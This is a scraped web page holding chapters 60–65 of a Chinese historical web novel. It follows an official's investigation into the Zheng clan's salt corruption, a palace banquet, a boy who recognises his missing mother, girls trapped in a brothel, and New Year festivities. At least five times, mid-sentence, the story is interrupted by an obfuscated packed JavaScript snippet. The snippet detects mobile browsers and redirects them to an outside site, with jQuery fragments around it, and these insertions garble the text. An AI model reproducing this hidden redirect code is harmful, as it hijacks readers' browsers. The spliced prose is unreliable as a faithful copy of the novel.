小暮当年孤身一人北上,他怕对方被人欺负,也想一同进京,就算帮不上太多忙,至少能让小暮有个依靠。 但他被师父拦下了,师父说,有些事只能一个人去做,若一起进京,只是平白让小暮多条软肋。就算再不情愿,他也只能按下这个冲动,在江南苦学医术,只为了有朝一日能帮上小暮。 云暮笑道:“那是自然,到时就算师兄嫌弃,也为时已晚。” “大人,大理寺的人来报,郑毅死了。” 第六十章 郑家脱罪 “你说什么?” 云暮猛然起身,“师兄,我去一趟大理寺。” 人才刚到,什么都没审出来就死了,皇上若要怪罪,她和程文博一个都跑不掉,当下顾不得宵禁,披上斗篷径直往大理寺去了。 肮脏的墙上,用血写的“冤”字格外刺眼。 云暮掀开白布,郑毅的半张脸泛着死气沉沉的青白,另一半则被血糊住,狱卒们虽已看过,但还是被他的死状吓得后退了两步。 郑毅一死,他府上的东西就死无对证,只要盐商不承认是他们送的,那就是死账,郑家人也可从此事中脱身。 敛了这么多年的财,即便没了盐使的身份,也无伤大雅。 郑毅的死在牢里掀起风波,除了郑朝晖,牢中的郑家人无一不喊冤,尤其郑晨阳。 “云大人,郑家人一早就说过,盐价一事与郑家无关,是盐商在搞鬼,郑毅如今以死明志,你满意了吧?” 语气里是掩饰不住的挑衅。 云暮凉凉看他:“且不说郑毅是不是真有冤屈,他好歹也是为了你们郑家而死,你不仅没有半分伤心,还沾沾自喜,稀奇。” 郑晨阳的眼神在郑毅身上逗留了片刻,笑道:“大人,他是郑家人,为郑家出生入死是他该做的。大人,你伪造罪证来污蔑郑家人,郑毅辩白不了,唯有以死明志。” “换句话说,是大人你害死了郑毅。” 这顶帽子扣得实在是大,但云暮丝毫没有辩解的意思,郑晨阳大失所望,若他辩解自证,还能倒打一耙,不过好在影响不大。 把郑毅的尸体安置好后,程文博才气喘吁吁赶到,“你何时来的?” 云暮叹了一声:“左右也没歇下,听到大理寺的人来报,就过来了,尚在宵禁,你怎么来了?” 程文博撩开白布的一角:“此事事关重大,正巧街使巡至程府,就托他们送我至大理寺。” 听完云暮的话,又看了那个用血书的“冤”字,饶是程文博脾气好,此刻也没忍住骂了几句:“他不过一个从四品的知州,一年的俸禄二百多两,可从他府里搜出来的真金白银却有四五万两之数,他怎么还有脸喊冤?” “但人死了,郑家人大可把罪名往他和盐商身上推,借此脱身。” 云暮回想审讯郑毅时的画面,眉头紧锁,当时郑毅未存死志,为何临时起意触墙而死? 卯时初,早朝才刚开始,就有人在殿外求见皇帝。 “皇上,微臣在上朝路上听闻郑毅死在牢中,不知程大人和云大人可否告知此事的真伪?” 郑毅身死的消息犹如一颗石子被人投入平静的湖面,云暮低垂的头往旁边偏了两分,和跪在地上的长史对上了眼。 卢家人死在刑部大牢后,程文博在大理寺也揪出了好几个心怀不轨之人,按理说牢里的事不应该被外人知晓,但这个长史信誓旦旦,像是他亲眼所见。 难不成郑毅身死一事是他们一早就谋划好的? “程文博何在?可有此事?” 程文博闻声站了出来:“回皇上,确有此事。” 才刚解禁的太子将手背在身后,食指微微勾起。 他虽被禁足,但每日都有人把朝中的消息送到他面前,看着沈聿明被梁文帝重视,他只能暗中派人使绊子,但都被他一一化解,着实可恨。 一个官员出声弹劾:“皇上,程大人御下不严,这才致郑毅身死。” “王爷虽只在大理寺挂个闲职,但百姓不知,此事传出去怕是有损皇家的威严。” 又一人道:“皇上,郑毅以死证明清白,郑家之事或许另有隐情。” …… 此事本与沈聿明无关,但他们硬是把沈聿明也一同拉下水。 云暮双眸微眯,“皇上,郑家联合盐商提高盐价,贩卖私盐,这些事做不了假,郑毅这是畏罪自尽。” “几位大人既说郑毅是死证清白,不如解释一下那些金银财宝的来源,难道说是本将军派人偷偷把东西放进库房嫁祸于他?” 几人这了半天,不知该说些什么好,最后有一人站出:“许是郑家人不忍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632410|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特意给他送去钱财也未可知,大人怎么就断定是盐商给他的孝敬?” 云暮捏紧了手中的笏板,他们赶到晋州时,正好撞见了一桩白事,白色的纸钱和雪花漫天飞舞,哭声响彻晋州。 云暮几人打听了才知道,死者正是写请安折的人。 七日前,他孤身一人去赏雪,意外坠入湖中,冬日衣物吸了水变得格外厚重,又无人在旁伺候,于是被活活冻死了,第二天被人发现时,湖面都已经冻上了一层薄冰。 请安折才递上去不久,人就死了,这世间有这么巧的事? 人已下葬,怕打草惊蛇,云暮又不敢用天子令逼他们同意挖坟,况且就算知晓他死因蹊跷,也无可奈何,毕竟无人得知那天之事。 “废物!” 一个茶盏擦过云暮的额角,落在了她手边,猩红的鲜血涌出,糊住了眼尾。 郑毅身死,盐商认罪,对那笔钱财却矢口否认,郑家一应收支亦对得上。 派人去晋州前,梁文帝想得有多美好,如今就有多愤怒。 云暮也想不通,郑家是如何在这么短的时间内平下这么多账。 豫州,郑家。 郑晨阳正领着多年未归家的郑朝晖在郑府闲逛,三层高的阁楼上,两人俯瞰着整个郑府。 一间落了锁的院子里,摆了几十张桌椅,一群人坐在桌后奋笔疾书。 郑朝晖怔怔看着他们,不止作何感想,良久,他才说道:“兄长,我从前就同父亲说过,你比我适合当家主,你看,我果然没说错。” “今日怎么多愁善感起来了?” 郑晨阳自出生就被抱到嫡母院里养,吃穿用度从不短缺,郑朝晖出生后,嫡母虽偶有偏心,但他也从未怨恨,日日勤学苦读也只为了将来能帮上郑朝阳。 郑朝晖把家主之权给他时,他恍惚了好几日,不是没肖想过家主之位,但他知晓家主之位不是他这个庶子能坐得上的。 正出神间,他听到郑朝晖说道:“兄长,明日把族老叫过来吧,我把家主之位传给你。” 第六十一章 宫中设宴 郑晨阳揉了揉耳朵,怀疑自己听错了。 “晖弟,你莫不是在同阿兄说笑?” 郑朝晖认真看他,他们兄弟二人感情甚好,郑晨阳每隔一段时间就会来京城看他,但他第一次觉得看不透对方。 “兄长,还要再请族老做个见证,我要同郑家断了关系。” 郑晨阳双手握住他的肩,“你疯啦?” 郑朝晖拂开他的手,指着小院里的人说道:“我没疯,郑毅之死不是意外,云大人也没有污蔑郑家,账本能做到万无一失,都是那些人的功劳吧?” 既然知晓了,那就没有什么可瞒的了,郑晨阳负手而立,“是,有他们在,郑家不管拿了多少利都能平账。” “兄长,郑家这几年赚的够多了,收手吧,这次郑毅和盐商把罪名揽了过来,下一次呢?” 郑晨阳像是听到了什么好笑的笑话,“收手?你要兄长如何收手?” “郑府上下几百口人,每日开支需要多少你可知?打点朝廷官员需要多少银子你可知?皇上打压世家,除去崔家和卢家,其余几家都大不如前,为兄再不想些法子,只怕郑家早就被其他几家吞吃入腹了。” 郑朝晖在京为官多年,如何不知?皇帝忌惮世家,世家提防皇室,卢家灭门后,其余几家惶惶不安,不知下一把刀会落在谁的头上。 他作为郑家家主,把郑家的担子丢给庶兄,他在京城和三教九流之人来往,日日饮酒作诗,只为了和陛下表明,郑家绝无二心。 可他的兄长,他的族人,竟背着他做了这么一件大事,若是那个人没死,若是晋州的百姓敢站出来作证,郑家这次就完了! 家族兴盛与否,他不在乎,他想要的不过是家人平安。此时收手,举家搬到另一个地方,还能留下一条命,兄长怎么就看不明白呢? 郑晨阳不是不明白,而是收不了手了,过惯了这种日子,怎么会想再回到从前? 人一旦成了欲念的奴隶,就永远解脱不了了。 郑晨阳是如此,其余的郑家人亦是如此。 族老看着郑朝晖,苦口婆心地劝道:“家主,何至如此?你爹娘在天有灵,如何能安心?” “是啊,你还要和郑家断绝关系,这不是胡闹吗?” “家主,你也老大不小了……” 一群人轮番劝阻,郑朝晖毫不退让:“这些年我不在,兄长带着你们走到今天,实属不易,我既无心,还是不占着家主这个名头了。” “我的所思所想与郑家所行之事相悖,且不思进取,在京为官这么多年,还是一个小小的五品官,实在有负各位的期望。” “回豫州前,我给皇上递了一道辞官的折子,皇上也恩准了,被家族这根绳束缚多年,如今无官一身轻,还请各位叔伯莫要再强留。” “让他走!” 昨日他们兄弟二人谈了许久,郑朝晖还是不改其志,他这个弟弟,固执起来,十头牛都拉不回来,他不喜,强行把人留在郑家也无用。 或许郑朝晖这一走,能给郑家带来一线生机也说不定。 …… 皇宫,同乐殿。 踏入铺着金砖的殿内,在满殿的烛光的辉映下,华贵非凡。 帝后二人同坐一桌,朝臣贺声不断。 今日是贵妃诞辰,梁文帝在同乐殿宴请群臣,帝后二人相携而来,群臣朝拜,而作为主角的贵妃却不见身影。 丝竹管弦齐声奏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632411|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贵妃着一袭水蓝色的长裙姗姗来迟。莲步轻移,摇曳的烛光落在裙上,恍如金光洒落在泛起阵阵涟漪的蓝色海面上。 梁文帝眼前一亮,命黄如海在他的左侧添了张椅子,亲自牵着贵妃入座。 皇后面上带笑,搭在膝上的手已经把朝服抓皱。 一壶壶酒水送进殿内,就连云暮的桌上都摆了一壶,她慵懒地倚着椅背,食指点了点杯壁:“满上。” 周围的人见状,疑惑道:“云大人不是不能喝酒?” 云暮举起酒杯,闭眼轻嗅了一下,“御酒不多得,喝不得,闻闻也能过瘾。” 酒液晶莹剔透,酒香清冽,她师兄或许喜欢。 坐在她侧对面的沈聿明从她命人斟酒开始,眉头就没松过,朝身后的文竹低语了几句,没多久,云暮遥遥对他举杯,一口饮尽杯中茶,而那杯酒,出现在了沈聿明的桌上。 歌舞过后,便是赠礼。 梁文帝抚掌,两个太监抬着一张桌子放在殿中,不多时,又抬上了一个盖着绸布的东西。 贵妃娇声问:“皇上,这是何物?” 梁文帝的手还搭在她的腰间,闻言,拍了拍她的腰“爱妃亲自去看看就知道了。” 他手心一抬,绸布揭开的那一瞬间,殿内惊呼声响,是一株完美无瑕的红珊瑚。 “可还喜欢?” 红珊瑚易得,但整株的红珊瑚却是万金难求。 名贵的礼物,群臣的夸赞,后妃眼中的嫉妒,都让贵妃心花怒放。 她软软地倚在梁文帝怀里,手指在他的胸口打转:“皇上,这个礼物太过贵重。” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第六十二章 寻亲告示 “大人,路被拦住了,咱换一条?” 今日出门晚了,还要给十五买西市的蛤蟆馒头,路好巧不巧又堵了,真是屋漏偏逢连夜雨。 云暮掀开车帘,前路果然被人围得水泄不通,“发生什么了?” 砚石从车上一跃而下,原只是在外围问话,不知听到了什么,他挤进了人堆,好一会儿才又重新出现在云暮的视野里。 他用帕子擦拭泛着热气的手,回道:“大人,冻死了个人。” 每年冬日,总有人熬不过京城的风雪,金吾卫的人巡街时,还帮着收拾过几次。 “官府的人还没来?” 云暮话音刚落,就看到几个衙役挎着刀驱散围观的百姓,正要让砚石换条路,人群已自发让出了一条道。 云暮把探头往外看的十五薅了回来:“别看了。” 车帘才刚放下,尸体的脸赫然暴露在人前,很快就被白布遮住。 晚些时候,狂风突起,窗牖咯吱声响,还有些千方百计地从门窗的缝隙处往里钻,旧雪才化,新雪又簌簌而下,屋里却温酒煮茶,传杯换盏。 今日散值早,想着在水云间宴请季川,去接十五时,顺嘴问了一句孟煦,没想对方也一口应下,好在沈聿明没作妖。 席间众人的红霞满面,唯有云暮和十五越喝越清醒。 在杯子传到面前时,云暮摆了摆手,“不喝了,众人皆醉我独醒,没意思,再喝下去,我今夜又不用睡了。” 十五跃跃欲试地看着酒杯,“大人,十五想……” 云暮把他的头推了回去:“想都别想,小孩子不许喝。” 沈聿明则取了一双干净的筷子,沾了沾酒递到十五的嘴边。 云暮心想,这动作,怎么有些熟悉? 看十五被辣红的脸,沈聿明拍了拍他的肩,“这酒量,还不如小青,去榻上玩吧。” 十五呸呸了两声,又喝了杯茶,这才缓过劲,“小青是谁?” 沈聿明意味深长地看着云暮:“本王也许久没有见到了,不如你问问大人?” 云暮这才记起,第一次和沈聿明有交集时,她就是用筷子渡酒,喂给那条竹叶青。 回想当初沈聿明躲在角落瑟瑟发抖的可怜样,云暮突然起了逗弄他的心思,“下官不知王爷竟然这般想念小青,不如等会儿您带它回王府解解闷如何?若是觉得不够,师兄那还有条从不离身的小黑,下官也一并讨来送你。” 沈聿明的笑容一僵,直接拒绝:“云大人误会了,本王也没有很想它。” 季川虽和孟煦交谈,但耳听八方,准确地捕捉到师兄二字:“说我什么了?” “说小黑呢,我许久没有见过它了,不如师兄……” “她说笑呢。” 还没说完,沈聿明隔着一个十五捂住了她的嘴,惹得季川二人侧目。 “天寒地冻的,怕它冻死,就留它在谷中了,你们若是想见,等来年开春,我带它来一次京城,它也怪想念小青的。” “是何物?” 孟煦也有些好奇。 季川解释道:“两条小蛇,师父送的说是怕我们无聊。” 头一回听说怕人无聊送蛇,孟煦眉尾一挑:“你们师父是个有趣之人。” 见沈聿明实在害怕,云暮岔开了话题,摇铃唤小二进来撤了酒菜。 换上了解酒茶,几人又胡天海地闲扯了一通,最后兴尽而归。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632412|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 水云间门前,云暮把醉倒的十五递给马车上的季川,摆手把身后的两人赶上了各自的马车:“走了,你们喝了酒又吹风,小心头疼。” 一张不知从何处飞来的纸快要打在云暮脸上时,被她伸手捏住,扫了一眼发现不是什么大事,也就没有放在心上。 “什么东西?” 云暮上了马车,随手把纸放在一旁:“没什么,今早有人冻死在街头,但不知身份,官府贴了告示替她寻家人。” 季川凑过来看了一眼:“不认识。” 快到云府时,十五悠悠转醒,云暮弹了弹他的额头:“两滴酒就倒,下次还喝吗?” 十五揉着惺忪睡眼,摇头:“又辣又难喝,再也不喝了。” “吁”的一声响,马车稳稳停下,“大人,到了。” 云暮近门,率先下了马车,身旁的纸也露出了全貌,她的手在半空抬了好一会儿,也没见十五搭上,“十五,在看什么?” 十五不可置信地看着纸上的人和字,腿一软,跌坐在地,没等季川把他捞起,又挣扎起身紧紧抓着抓住那张纸。 “大人,她……她好像是我娘!” 被人强行带着离开时才四岁,但已经有了记忆,不过一年半载,他多少还是记得一些。 云暮和季川对视了一眼,先把人带回了府,十五身份不同,有些话不适合在外面说。 听十五断断续续地把那些未曾说过的过往道出,云暮的心里激起万丈波澜。 和他一样的许多孩子都住在一起,由几个嬷嬷一起照看,到了四岁就会被送去地牢,人走了一批又重新进来一批。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第六十三章 渡春风 渡春风里,宋华木着张脸,步履蹒跚地回了房间,屋里还有七个和她一样的姑娘,每个人的脸上都毫无生气,宛如一潭死水。 八个人挤在这个大通铺里,廉价的脂粉味充斥在房间的各个角落。任谁也想不到,京城里数一数二的青楼竟然有如此简陋的房间。 宋华麻木地卸掉头上的珠钗后,上了炕,用冰冷似铁的衾被蒙住头。 三个月前,她在家中被人打晕,再次醒来就出现在了渡春风,她阿娘一个月才能回一次家也不知何时才有人发现她不见。 和刚进来的姑娘一样,她反抗、逃跑,但无一例外,没走多远就被抓了回来,下场一次比一次凄惨。 她不愿接客,以死相逼,但青楼的手段远超乎她想象,被折腾了半死后,她便换了个路子,假意顺从,再伺机逃跑。 可她想岔了,会来青楼寻花问柳的,能有几个是好人?她把信塞给一个看起来面善的恩客,托他送给官府。人才走不久,妈妈就带人闯了进来。最后要不是顾及她还要接客赚钱,只怕下场更惨。 最让她惶恐的是,伺候完客人,妈妈不许她们喝避子汤,这个月快要过去了,她月事还没来,宋华紧紧咬着手指,泪水无声落下,浸湿了枕头,眼里满是惶恐。 这个月不知接了多少客人,若真有了,别说她不知孩子的爹是谁,就连她会有什么下场都不知。 她阿娘还在找她,等她回家,她不想死! 房里的姑娘尚在更衣,房间门被人推开,她们尖叫了一声,背过身去,小厮不怀好意地眼神在她们身上打转,猥琐地舔了舔嘴,说道:“装什么贞洁烈女,收拾收拾,大夫来号脉了。” 这是渡春风的姑娘每个月必做之事,妈妈说是为了她们的身体着想,但宋华总觉得她没这么好心。 …… 腊八过后就是年,梁文帝已经派人去查黑疙瘩一事,左右药王谷也无事,季川索性留在京中过年。 白天云暮上值,十五去学堂,季川闲来无事就随意找家医馆号脉看诊,诊金和医馆五五分。因他样貌好,医术精湛,嘴巴还甜,找他看病的人排起了长龙。 先前他两天换一个医馆,后来人们找他多有不便,他就一直在万安堂坐诊。 晚膳时,季川兴致勃勃地把今日听到的八卦说与云暮听,十五听得入神,连饭都忘了吃。 云暮给十五夹了一筷子菜,对季川说道:“十五每日都指着你这些话就饭。” 季川嘿嘿两声:“最后一件晚点再同你说,小孩子听不得,听不得。” 接下来不管十五怎么撒娇,季川都笑而不语。 “什么事,搞得这么神秘,连十五都听不得。” 季川讳莫如深地问道:“小暮可知渡春风?” 云暮狐疑地扫视着他:“师兄别告诉我你去了。” 季川连哎了几声,打断了他的胡思乱想:“你莫冤枉好人啊,这话要传回江南,那些红颜知己不得扒了师兄的皮。” 云暮单手撑着下巴,露出一副我静静看你狡辩的的表情。 “真不是为兄,是万安堂的一个大夫。你说稀不稀奇,一个青楼,竟然每个月都请大夫去给姑娘们号脉。听说里头有好几十个姑娘,这诊金能有不少吧?” 说到这里,季川有些心驰神往,“你说,若是师兄去,凭着这张脸,诊金能不能翻倍?” 看他这个没出息的样,云暮有些手痒:“江南是没人找你看病还是你都把钱花在那些红颜身上,你怎么掉进钱眼里了。” 季川唉了一声,苦着张脸道:“我们药王谷的诊金一向便宜,有些给不起诊金,就拿面米鸡蛋来充作诊金,每年买草药又是一大笔开销,这日子是越过越艰难。” 这演技,着实没眼看,云暮知晓他在哭穷,但还是从拿出了一个木盒,里面是几十张银票,从一百两到一千两都有。 云暮下巴微抬,“师弟没有别的本事,只就只能靠名头赚些银子,银票或是雪花银和金元宝,都随师兄挑选。” 季川把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632413|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盒子揽入怀中,咂舌:“你受贿了?” 云暮不以为意地笑笑:“真受贿就不止这些了,你放心用,这些要么是皇上他们赏的,要么就是我名下铺子的利钱。” 季川小声嘀咕:“怎么感觉你赚钱跟喝水一样简单。” 可不是嘛,毕竟她一句话就能给人改命,别说当官,便是救人一命也是使得,只是她不愿做罢了。 小年转眼就到,两旁摆满小摊的街道上,人们熙攘地穿梭其间,这里看看,那里瞅瞅。 往年的年货都是安叔直接备下,但小孩喜欢热闹,十五说什么都要一起去。临近年关,集市上的人多了起来,也有不少心怀鬼胎之人混在其中。正好休沐,云暮就随他们一道出来。 安叔带着小厮熟练地购置年货,云暮和十五悠哉地跟在后面,很快,手里就大包小包地提了不少东西,直到再也拿不住才收手。 买了不少东西,云暮便想着邀沈聿明来云府吃锅子,热热闹闹地摆了好几桌。 吃到一半,门外突然来了两位不速之客,梁文帝和黄如海。 和上次一样,两人无声无息地出现 在了云府,只是昔日的王全换成了黄如海。 梁文帝噙着笑看着云暮,眼里却没有半分笑意:“云卿这里可真热闹啊。” 一整屋的人乌泱泱地跪了一地。 云暮不着痕迹地瞥了黄如海一眼,只是对方一直低着头,她看不清他脸上的表情。 沈聿明没脸没皮地把他拉进正院,“早知父皇今晚有空,儿臣出宫时就该问上一句。” “来人,换个新锅子,再添一副碗筷。” 梁文帝默许了他的动作。 搬桌的搬桌,换锅的换锅,很快就只剩下他们这一桌,季川牵起十五就要退下,梁文帝才又出声:“真没记错的话,这位就是小季大夫吧?” 五年前,他们见过,前不久,他还给梁文帝提供了黑疙瘩的线索。 “多年未见,辛神医怎么没来?” 第六十四章 看走眼 这顿饭吃得战战兢兢,云暮从皇宫回来后就钻进了书房,一直都没有出来。府里的下人举着火把在云府一一搜查,别说脚印,就是一片瓦都没有歪。 “你们今夜可曾听到叩门声?” 书房里的几人面面相觑,一致摇头。 今夜云所有的人聚在正厅,你一言我一语,连隔桌的话都得分心听,怎会听到门外的动静? 和上次一样,梁文帝带着人悄无声息地出现在云府,是他怎么做到的? 沈聿明的轻功在她之上,她和沈聿明一起带着安叔翻墙,墙上瓦片都都移了位,梁文帝的体格比安叔还大,凭暗卫的轻功,也做不到无声无息。 这两次她没有在梁文帝身边察觉到暗卫的气息,再者,黄如海的身手只能自保,雁过无痕于他来说只是痴梦。今夜他全程不敢和她对视,想来是知道些什么。 腊月廿四,宜开光。 每隔三五年,梁文帝总要书一个“福字”赐给群臣,只有三人有此殊荣,这对大梁的官员来说,是无上的殊荣。 梁文帝手持万年青管的黑漆杆毛笔,蘸着朱砂在纸上笔走龙蛇,一气呵成,一个气势磅礴的福字跃然纸上。 这是第一个福字,待墨痕一干,就会被封存,放在金銮殿内,永不能启封,以此留住福气。 丞相,将军…… 一个个装裱好的福字被送到他们的府邸,很快,桌上只留下最后一个。 梁文帝双手交叠,看着无动于衷的云暮,才消的怒气又有隐隐冒头的趋势。 云暮在御前待了三年,就和身边人疏远了三年,本打算随意给对方扣个罪名,在他将死之时把人带出,囚禁在宫中,对外就道人扛不住刑,死了。 出乎意料的是,从涿州回来后,他身边的人就越来越多。 小厮,那个小孩,如今又多了一个季川,多年绸缪被人打乱,他如何不气? “云卿,这最后一个福送给你可好?” 从昨夜起,梁文帝对她就不曾有过半点笑意,正气在头上,这福字怎会赐给她?况且前些日字郑家之事让他吃了瘪,他这句话不过是试探。 云暮垂头答道:“奴婢办事不力,不敢受陛下之福。” 梁文帝本就没打算给他,不过是想借机敲打他罢了:“确实,你身边的人太过吵闹,把福气都给轰走了,什么时候清净下来就什么时候再来想朕讨福吧。” 云暮听出他话里的意思,孤寂了这么多年,如今还不容易得过上几日寻常人家的生活,她不愿放手。 但她也知,此时不能再把人激怒,于是低眉顺眼应了一声:“奴婢晓得了。” 梁文帝被他的识趣取悦,终于给了他好脸:“你来替朕想想,这个福字给谁合适。” 云暮沉思了片刻,“皇上不如赐给太子。” 梁文帝挑了挑眉:“哦?朕记得你同秦王交好,怎么反倒让朕赐给太子?” “太子于国事上替陛下分忧,一时行差踏错,他也付出了代价,陛下也该安抚一二。” 梁文帝心中早有人选,但又拉不下脸,禁足一事因她而起,如今她的目的也达到了,他想要台阶,她搭好就是。 从勤政殿出来时,正好撞上从宫外回来的黄如海。 “黄公公。” 黄如海当然知道他要问什么,心中暗暗叫苦,想起昨夜临出走前梁文帝的警告,他打了一个冷颤,云暮便是杀了他,这件事也只能烂在肚子里。 “奴婢见过云大人。” “本将军着实好奇,昨日云府密不透风,黄公公可否告知昨夜是如何进的府?” 在冻得人手脚僵硬的冬日,黄如海的额头冒出了一层冷汗,皇上看蝼蚁一般的眼神好似穿过勤政殿落在他身上,他垂头盯着鞋面,“大人,您莫要为难奴婢了。” “本将军不过是要句话罢了,怎么会是为难?” 云暮一直在等着他开口,但过了许久,也没有等来下一句话,她抬手在他的帽檐点了两下,冷笑道:“很好,本将军就当昔日看走了眼。” 末了,拂袖出宫。 …… 大梁建国以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632414|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,每逢新春都要放上七日的假,今年亦不例外。 除夕当日,车马如流,人声鼎沸,炮竹声响彻京城。到了下半日,来往行人逐渐散去,摊贩收摊归家,铺子也陆续关门落锁,只为能早点同家人团圆。 往年除夕,云暮都是在布政坊待到暮色四合,府里也只是挂些红灯笼应个景。 而今年,她站在廊下,双手抱臂看着十五和季川带人把各种样式的灯笼挂在檐下,恍惚间,她仿佛回到了爹娘还在的那些年。 他阿爹手巧,每年除夕前都会亲自给她扎灯笼,她只需在纸上涂涂画画,不管画成什么,爹娘都把它们糊在了灯笼上,而剩下的竹条,会变成一个个风筝和小竹篓。 灯笼被风吹雨打后只剩下一具竹架,幼童心软,总是偷偷藏了几个,最后,它们被大火焚成灰烬,被风吹散在京城的各个角落,再也无处可寻。 “大人,你喜欢哪一个?” 十五拿着两个灯笼,噔噔噔跑来。 云暮思量了片刻,指着左边那盏画着红 梅的灯笼道:“这个吧,有雪无梅不精神。” 雪花纷扬,落在指尖,云暮伸手接住:“除夕天又雪,与梅并做十分春。” 云府的花园里,种了一大片梅花,红白两色隔道相望,剪下几支,插在白瓷瓶里,别有一番趣味。 云暮折下开得正好的梅花,抬步往厨房走去,她喜欢吃的糕点不多,山药梅花糕便是其一,每年安叔都会让小厨房安排上。 粉白交错的面粉在厨娘的手中翻腾,在厨房里忙活的人见云暮出现,不由紧张,“大人,君子远庖厨,厨房脏乱,有什么需要您派人告知一声,奴才一定准备好。” 云暮扫了一眼,把手中的梅花递给眼前之人:“今年的梅花糕做成梅花馅的,少放些糖,上桌时和梅花一道摆盘,梅花不够就去花园折。” 十五已经开始换牙,怕他吃出一口烂牙,如今府中的糕点寡淡了不少,他抗议过几次,但一人难敌四手,最终只能妥协。 晚膳过后,云府的大门被人敲响。 第六十五章 京城人真会玩 一车车的礼品如流水似的进了云府,路过的行人奇道:“云大人今年开始收礼了?收的什么见不得人的东西,要等到现在才送。” 旁人之人忙捂住他的嘴,朝马车前头书着“秦”字的灯笼努了努嘴:“没眼力见的,也不看看前头的马车是谁的,这么多年,也就只有皇上和这个主的东西能进云府。” “王爷,您怎么来了?” 沈聿明拍了拍肩上的雪,对着双掌呵了几口热气,三两步走进正厅:“本王孤家寡人,只能来投奔云大人了,你该不会要赶本王走吧?” 云暮给他舀了一碗冒着热气的鸡汤:“东西都送到府上了,下官还有拒绝的余地吗?只是您来这一出,明早起来,云府门口怕是要摆满东西了。” 沈聿明捧着碗暖手,暖意从手心蔓延到心里,他眯眼看着搬东西的小厮,随口道:“无事,明早本王派人来帮你退回去,等会儿出去走走?” 看着十五亮晶晶的双眼,云暮便没拒绝。 入夜后,整个京城的灯笼都被点亮,万家灯火通明,炮竹声从傍晚时分就没有断过,是百姓对辞旧迎新的祝福。 这次多了一个季川,十五指哪他就去哪个摊位,云暮和沈聿明不紧不慢地跟在他们身后,不时替他们结个账。 除夕夜,解宵禁,才子佳人相携而出,卖花女正低头摆弄怀中的花,察觉有人并肩而来,还未抬头就先把手中的花递了出去,“这位郎君,给小娘子买朵花吧。” 说完,抬头一看,发现竟是两个男子。大梁民风还算开放,契兄弟也不是没有,卖花女磕磕绊绊改口:“两位郎君,兄弟之间赠花也是常有,买一朵?” 云暮早就注意到大多女子手中都有朵花,但她和沈聿明只是上下级的关系,送花算什么个事? “不用了。”她抬步往前走去。 沈聿明先是拿了一多红花,想了想,又放了回去,最后挑了一支不算惹眼的绿梅,“不用找了。” 卖花女握着那粒碎银,笑得嘴都合不拢了,“谢谢郎君!祝二位郎君岁岁安好。” 沈聿明听后笑出了声,他拿出匕首,把绿梅修剪好后才递给云暮:“云暮,送你。” 云暮没接,视线落在人群的姑娘上:“王爷是把我当成那些小姑娘了?” 沈聿明看了那些人手中热烈的红花,他倒是也想给云暮送,只是他不敢,“不过是觉得绿梅和你今夜穿的衣裳很般配。” 几人逛了一圈,拖着沉重的双腿踏进了宾客满堂的醉江月,“也不知还有没有厢房。” 管事见了他们,亲自过来领着他们往楼上去:“王爷,楼上已经备好雅间。” 云暮觉得她定是脑子被冻傻了,竟忘了醉江月如今是皇家的产业,只要沈聿明来,定是有位置的。 沈聿明冲她仰了仰下巴,脸上的得意之色怎么也压不下。 雅间里的地龙烧得极热,又上了一个景泰蓝的火盆。 